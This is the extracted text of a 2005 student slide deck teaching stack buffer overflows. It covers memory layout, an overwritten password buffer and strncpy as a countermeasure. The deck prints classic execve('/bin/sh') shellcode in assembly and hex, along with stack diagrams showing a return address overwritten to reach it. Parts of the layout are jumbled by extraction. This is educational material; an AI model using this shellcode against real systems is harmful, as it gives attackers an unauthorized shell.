Stack Overflow
Stack Overflow
Susam Pal
8th Semester (2005)
Electronics and Telecommunication Engineering
Kalinga Institute of Industrial Technology University
Agenda
Operation of Stack
Vulnerable Software
Major Attacks
About Stack Overflow
What is a stack overflow?
An error condition which results from attempting to push more items onto a
stack than space has been allocated for.
Is it dangerous?
Yes, it is one of the most dangerous threats that exists in the
microprocessor world from computer systems to embedded systems. Any
processor that uses a stack may be vulnerable to an attack due to stack
overflow.
Why is it dangerous?
Attempting to push more items on a stack than space allocated overwrites
adjacent memory locations which might contain return addresses thus
executing other code.
Vulnerable Software
Sasser Worm
Uses of Stack
Stack in Action
Onion Skin Model of Computer System
Hardware
Shell invokes necessary
kernel routines
Kernel
User
Process Memory Regions
Higher Memory Address
Stack
Data
Executable
Code Lower Memory Address
Process Memory Regions
Subroutines use the stack to save necessary
Data, e.g. register values which are altered
Stack by the subroutine.
main()
{
function(1,2);
}
indicates what ESP is pointing to
main()
{
function(1,2);
}
indicates what ESP is pointing to
00FF1FF4H: EBP
00FF1FF3H: buffer[7]
00FF1FF2H: buffer[6]
00FF1FF1H: buffer[5]
00FF1FF0H: buffer[4]
00FF1FEFH: buffer[3]
00FF1FEEH: buffer[2]
00FF1FEDH: buffer[1]
00FF1FECH: buffer[0]
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
00FF1FFFH: *password
00FF1FFEH: *password
00FF1FF4H: EBP
00FF1FF3H: ‘\0’
00FF1FF2H: ‘r’
00FF1FF1H: ‘o’
00FF1FF0H: ‘t’
00FF1FEFH: ‘i’
00FF1FEEH: ‘s’
00FF1FEDH: ‘i’
00FF1FECH: ‘v’
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
Shell Code
Assembly Codes Hex Codes
JMP 1FH EB, 1F
POP ESI 5E
MOV 08H[ESI], ESI 89, 76, 08
XOR EAX, EAX 31, C0
MOV 07H[ESI], EAX 88, 46, 07
MOV 0CH[ESI], EAX 89, 46, 0C
MOV AL, 0BH B0, 0B
MOV EBX, ESI 89, F3
LEA ECX, 08H[ESI] 8D, 4E, 08
LEA EDX, 0CH[ESI] 8D, 56, 0C
INT 80H CD, 80
XOR EBX, EBX 31, DB
MOV EAX, EBX 89, D8
INC EAX 40
INT 80H CD, 80
CALL -24H E8, DC, FF, FF, FF
.STRING “/bin/sh” 2F, 62, 69, 6E, 2F, 73, 68, 00
00FF2001H: 76H
00FF1FFFH: 89H
00FF1FFEH: 5EH
00FF1FF4H: ‘A’
00FF1FF3H: ‘A’
Shell Code ( In Hex ) 00FF1FF2H: ‘A’
EB, 1F, 5E, 89, 76, 08, 31, C0, 00FF1FF1H: ‘A’
88, 46, 07, 89, 46, 0C, B0, 0B, 00FF1FF0H: ‘A’
89, F3, 8D, 4E, 08, 8D, 56, 0C, 00FF1FEFH: ‘A’
CD, 80, 31, DB, 89, D8, 40, CD, 00FF1FEEH: ‘A’
80, E8, DC, FF, FF, FF, 2F, 62, 00FF1FEDH: ‘A’
69, 6E, 2F, 73, 68, 00 00FF1FECH: ‘A’
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
00FF2009H: 46H
00FF2008H: 89H
00FF2007H: 07H
EB, 1F, 5E, 89, 76, 08, 31, C0, 00FF2001H: 76H
Shell Code
88, 46, 07, 89, 46, 0C, B0, 0B, 00FF1FFFH: 89H
89, F3, 8D, 4E, 08, 8D, 56, 0C, 00FF1FFEH: 5EH
CD, 80, 31, DB, 89, D8, 40, CD, 00FF1FFDH: 1FH
80, E8, DC, FF, FF, FF, 2F, 62, 00FF1FFCH: EBH
69, 6E, 2F, 73, 68, 00 00FF1FFBH: 00H
00FF1FFAH: FFH
00FF1FF9H: 1FH
00FF1FF8H: FCH
00FF1FF7H: ‘A’
00FF1FF6H: ‘A’
00FF1FF5H: ‘A’
00FF1FF4H: ‘A’
00FF1FF3H: ‘A’
00FF1FF2H: ‘A’
00FF1FF1H: ‘A’
00FF1FF0H: ‘A’
00FF1FEFH: ‘A’
00FF2009H: 46H
00FF2008H: 89H
00FF2007H: 07H
EB, 1F, 5E, 89, 76, 08, 31, C0, 00FF2001H: 76H
Shell Code
88, 46, 07, 89, 46, 0C, B0, 0B, 00FF1FFFH: 89H
89, F3, 8D, 4E, 08, 8D, 56, 0C, 00FF1FFEH: 5EH
CD, 80, 31, DB, 89, D8, 40, CD, 00FF1FFDH: 1FH
80, E8, DC, FF, FF, FF, 2F, 62, 00FF1FFCH: EBH
69, 6E, 2F, 73, 68, 00 00FF1FFBH: 00H
00FF1FFAH: FFH
00FF1FF9H: 1FH
00FF1FF8H: FCH
00FF1FF7H: ‘A’
00FF1FF6H: ‘A’
00FF1FF5H: ‘A’
00FF1FF4H: ‘A’
00FF1FF3H: ‘A’
D!!
00FF1FF2H: ‘A’
KE
AC 00FF1FF1H: ‘A’
ATT 00FF1FF0H: ‘A’
Shell Prompt 00FF1FEFH: ‘A’
00FF1FFFH: *password
00FF1FFEH: *password
strncpy(buffer[8],password,8); 00FF1FF4H:
00FF1FF3H:
EBP
‘A’
00FF1FF2H: ‘A’
00FF1FF1H: ‘A’
00FF1FF0H: ‘A’
00FF1FEFH: ‘A’
00FF1FEEH: ‘A’
00FF1FEDH: ‘A’
00FF1FECH: ‘A’
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
00FF1FE7H: f2
00FF1FE6H: f2
Fighting Stack Overflow